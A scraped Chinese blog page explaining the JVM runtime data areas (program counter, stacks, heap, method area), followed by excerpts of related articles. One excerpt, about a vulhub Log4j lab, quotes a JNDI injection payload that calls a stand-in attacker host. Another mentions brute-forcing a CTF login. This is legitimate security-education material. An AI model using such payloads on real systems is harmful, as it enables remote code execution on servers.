当前位置: 首页 > news >正文

【JVM篇】什么是运行时数据区

文章目录

  • 🍔什么是运行时数据区
    • ⭐程序计数器
    • ⭐栈
      • 🔎Java虚拟机栈
        • 🎈栈帧的内容
      • 🔎本地方法栈
    • ⭐堆
    • ⭐方法区

在这里插入图片描述

🍔什么是运行时数据区

运行时数据区指的是jvm所管理的内存区域,其中分为两大类

  • 线程共享:方法区,堆
  • 线程不共享:程序计数器,栈(本地方法栈,虚拟机栈)

方法区:存放每一个加载的类的基础信息,运行时常量池,字符串常量池
堆:存放创建出来的对象
本地方法栈和虚拟机栈都存放了线程中执行方法时需要使用的基础数据。
程序计数器存放了当前线程执行的字节码指令在内存中的地址。

直接内存主要是NIO使用,有操作系统直接管理,不属于JVM内存

⭐程序计数器

程序计数器也叫PC寄存器,每个线程会通过程序计数器记录当前要执行的字节码指令的地址
主要有2个作用

  • 可以控制程序指令的进行,实现分支,跳转,异常等逻辑
  • 在多线程执行情况下,Java虚拟机需要通过程序计数器记录CPU切换前,解释执行到的指令并且继续解释执行

请添加图片描述
表面上2个线程是并行的,其实实际上是交替执行的,执行一会线程A后,会执行一会线程B,然后继续交替执行

⭐栈

🔎Java虚拟机栈

Java虚拟机栈采用栈的数据结构来管理方法调用中的基本数据,先进后出
每一个方法的调用所以一个栈帧来保存
每个线程都会包含一个自己的虚拟机栈,它的生命周期和线程相同(这样子也能看出jvm的线程是不共享的,因为每个线程都有自己的栈)
请添加图片描述

🎈栈帧的内容

主要包含下面3部分内容

  • 局部变量表:在方法执行过程在存放所有的局部变量
  • 操作数帧:虚拟机在执行指令过程中用来存放临时数据的一块区域
  • 帧数据

🔎本地方法栈

Java虚拟机栈存储了Java方法调用时的栈帧,而本地方法栈存储的是native本地方法的栈帧
在hotspot虚拟机中,Java虚拟机栈和本地方法栈实现上使用了同一个栈空间。本地方法栈会在栈内存上生成一个栈帧,临时保存方法的参数的同时方便出现异常时也把本地方法的栈信息打印出来

⭐堆

一般Java程序中堆内存是空间最大的一块内存区域,创建出来的对象都存储在堆上
栈上的局部变量表,可以存放堆中的对象的引用。静态变量也可以存放堆中的对象的引用,通过静态变量就可以实现对象在线程之间共享
堆是垃圾回收最重要的部分,堆结构更详细的划分于垃圾回收器有关
请添加图片描述

⭐方法区

方法区是Java虚拟机规范中提出来的一个虚拟机概念,在HotSpot虚拟机不同版本中会使用永久代或者元空间来实现。方法区主要存放的是基础信息,如下:

  • 每一个加载类的基础信息

  • 请添加图片描述

  • 运行时常量池,保存了字节码文件中的常量池内容,比卖你常量内容重复创建减少内存开销

  • 字符串常量池,存储字符串的常量

在技术的道路上,我们不断探索、不断前行,不断面对挑战、不断突破自我。科技的发展改变着世界,而我们作为技术人员,也在这个过程中书写着自己的篇章。让我们携手并进,共同努力,开创美好的未来!愿我们在科技的征途上不断奋进,创造出更加美好、更加智能的明天!

在这里插入图片描述

相关文章:

【JVM篇】什么是运行时数据区

文章目录 🍔什么是运行时数据区⭐程序计数器⭐栈🔎Java虚拟机栈🎈栈帧的内容 🔎本地方法栈 ⭐堆⭐方法区 🍔什么是运行时数据区 运行时数据区指的是jvm所管理的内存区域,其中分为两大类 线程共享&#xf…...

Jetpack 之Glance+Compose实现一个小组件

Glance,官方对其解释是使用 Jetpack Compose 样式的 API 构建远程 Surface 的布局,通俗的讲就是使用Compose风格的API来搭建小插件布局,其最新版本是2022年2月23日更新的1.0.0-alpha03。众所周知,Compose样式的API与原生差别不小&…...

实时矢量搜索如何彻底改变各行各业?

实时分析技术已经巩固了其作为众多行业的基石这一地位。另外,生成式AI具有的魅力吸引了广泛的关注,创新的解决方案有望为从娱乐到医疗保健的各个行业领域提供前所未有的洞察力。使用生成式AI方法与众多实时分析技术的融合带来了显著的协同效应。它使组织…...

【Linux】指令 【scp】

scp 是一条用于安全复制文件的命令。 scp hadoop.tar.gz datanode:/software这条命令的含义是将本地的hadoop.tar.gz文件复制到远程主机datanode的/software目录下。 scp:这是Secure Copy的缩写,用于在主机之间安全地复制文件。hadoop.tar.gz&#xff…...

文件IO,目录IO的学习

一&#xff0c;头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...

leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...

BUGKU-WEB bp

题目描述 题目截图如下&#xff1a; 进入场景看看&#xff1a; 解题思路 提示说&#xff1a;弱密码top1000&#xff1f;z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典&#xff0c;点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...

代码的复用——Mixin使用例子

Mixin&#xff08;混入&#xff09;是一种在Sass和Vue.js等框架中常用的技术&#xff0c;用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中&#xff0c;Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子&#xff1a; …...

easyx 枪声模拟器

作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...

python 与 neo4j 交互(py2neo 使用)

参考自&#xff1a;neo4j的python.py2neo操作入门 官方文档&#xff1a;The Py2neo Handbook — py2neo 2021.1 安装&#xff1a;pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...

Python基础笔记11

Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套

随着城市化进程的加速&#xff0c;人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分&#xff0c;多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点&#xff0c;将现代科技与城市生活相融合&#xff0…...

大模型爆款应用fabric_构建优雅的提示

项目地址&#xff1a;https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star&#xff0c;其中上周获得了 4.2K&#xff0c;成为了上周热榜的第二名&#xff08;第一名是免费手机看电视的 Android 工具&#xff09;&#xff0c;可以算是爆款应用…...

js 对象属性描述符详解

文章目录 一、value二、writable三、访问器属性&#xff1a;get和set四、configurable五、注意事项 在 JavaScript 中&#xff0c;我们经常需要控制对象属性的特性&#xff0c;包括可写、可枚举等&#xff0c;本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile

C中&#xff0c;QT的QFile 类是 Qt 框架中用于文件处理的一个类&#xff0c;它继承自 QIODevice。该类提供了一系列用于文件读写的功能&#xff0c;支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...

【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统

本项目使用Langchain 和 baichuan 大模型&#xff0c; 结合领域百科词条数据&#xff08;用xlsx保存&#xff09;&#xff0c;简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...

Anaconda、conda、pip、virtualenv的区别

① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括&#xff1a;conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点&#xff1a; ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组

目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化&#xff08;先定义数组&#xff0c;指定数组长度&#xf…...

NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue

项目是fork的Naccl大佬NBlog项目&#xff0c;页面做的相当漂亮&#xff0c;所以选择了这个。可以参考2.3的效果图 惭愧&#xff0c;工作两年了也没个自己的博客系统&#xff0c;趁着过年时间&#xff0c;开始搭建一下. NBlog原项目的github链接&#xff1a;Naccl/NBlog: &#…...

3个秘诀让黑苹果EFI配置效率提升100倍:告别拆机与代码的烦恼

3个秘诀让黑苹果EFI配置效率提升100倍&#xff1a;告别拆机与代码的烦恼 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 当你对着教程里满屏的ACPI补丁…...

Zenith.NET v0.0.7:Metal 后端落地,.NET GPU 抽象的跨平台旅程

为什么要做 Zenith.NET&#xff1f;.NET 生态有不少图形相关的库——绑定层如 Silk.NET、Vortice&#xff0c;抽象层如 Veldrid、Evergine。但现有的抽象层要么停留在较旧的 API 版本&#xff08;如 DX11/OpenGL&#xff09;&#xff0c;要么是商业引擎的一部分&#xff0c;难以…...

3步掌握Dify工作流:从零到精通的完整指南

3步掌握Dify工作流&#xff1a;从零到精通的完整指南 【免费下载链接】Awesome-Dify-Workflow 分享一些好用的 Dify DSL 工作流程&#xff0c;自用、学习两相宜。 Sharing some Dify workflows. 项目地址: https://gitcode.com/GitHub_Trending/aw/Awesome-Dify-Workflow …...

TensorFlow开发中用到的一些第三方库

本节介绍下后面开发要用到的辅助库&#xff0c;并做一些简单的代码实例和效果演示&#xff0c;当然我们都是为了最终目标TensorFlow开发做准备的&#xff0c;用到的也是这些库的简单的api&#xff0c;这里做简单的介绍为后面TensorFlow开发做准备&#xff0c;对于这些库的深入研…...

大麦网抢票自动化:从技术原理到实战落地的全方位指南

大麦网抢票自动化&#xff1a;从技术原理到实战落地的全方位指南 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 问题引入&#xff1a;抢票困境与技术破局 在热门演出票务竞争日益激烈的当下&am…...

基于 N-gram 全新模型:嵌入扩展新范式,实现轻量化 MoE 高效进化

在技术领域&#xff0c;我们常常被那些闪耀的、可见的成果所吸引。今天&#xff0c;这个焦点无疑是大语言模型技术。它们的流畅对话、惊人的创造力&#xff0c;让我们得以一窥未来的轮廓。然而&#xff0c;作为在企业一线构建、部署和维护复杂系统的实践者&#xff0c;我们深知…...

3步解锁专业翻译:DeepL免费插件零成本使用全攻略

3步解锁专业翻译&#xff1a;DeepL免费插件零成本使用全攻略 【免费下载链接】bob-plugin-akl-deepl-free-translate **DeepL免秘钥,免启服务**,双击使用,免费无限次使用,(**新增DeepL单词查询功能**)根据网页版JavaScript加密算法逆向开发的bobplugin;所以只要官网的算法不改,…...

7大实战技巧精通DLT Viewer:汽车电子日志分析权威指南

7大实战技巧精通DLT Viewer&#xff1a;汽车电子日志分析权威指南 【免费下载链接】dlt-viewer Diagnostic Log and Trace viewing program 项目地址: https://gitcode.com/gh_mirrors/dl/dlt-viewer 一、认知&#xff1a;揭开DLT Viewer的神秘面纱 在现代汽车电子系统…...

yz-bijini-cosplay部署案例:Z-Image底座免重载,4090显卡高效出图

yz-bijini-cosplay部署案例&#xff1a;Z-Image底座免重载&#xff0c;4090显卡高效出图 1. 项目简介 yz-bijini-cosplay是一个专门为RTX 4090显卡优化的Cosplay风格文生图解决方案。这个项目基于通义千问官方的Z-Image端到端Transformer底座&#xff0c;深度集成了yz-bijini…...

AI辅助开发:利用快马平台为520888·moc中创造交互式视觉艺术效果

AI辅助开发&#xff1a;利用快马平台为520888moc中创造交互式视觉艺术效果 最近在做一个创意项目&#xff0c;需要把"520888moc中"这个特殊字符串做成一个酷炫的交互式视觉艺术效果。作为一个前端开发新手&#xff0c;我一开始有点无从下手&#xff0c;直到发现了In…...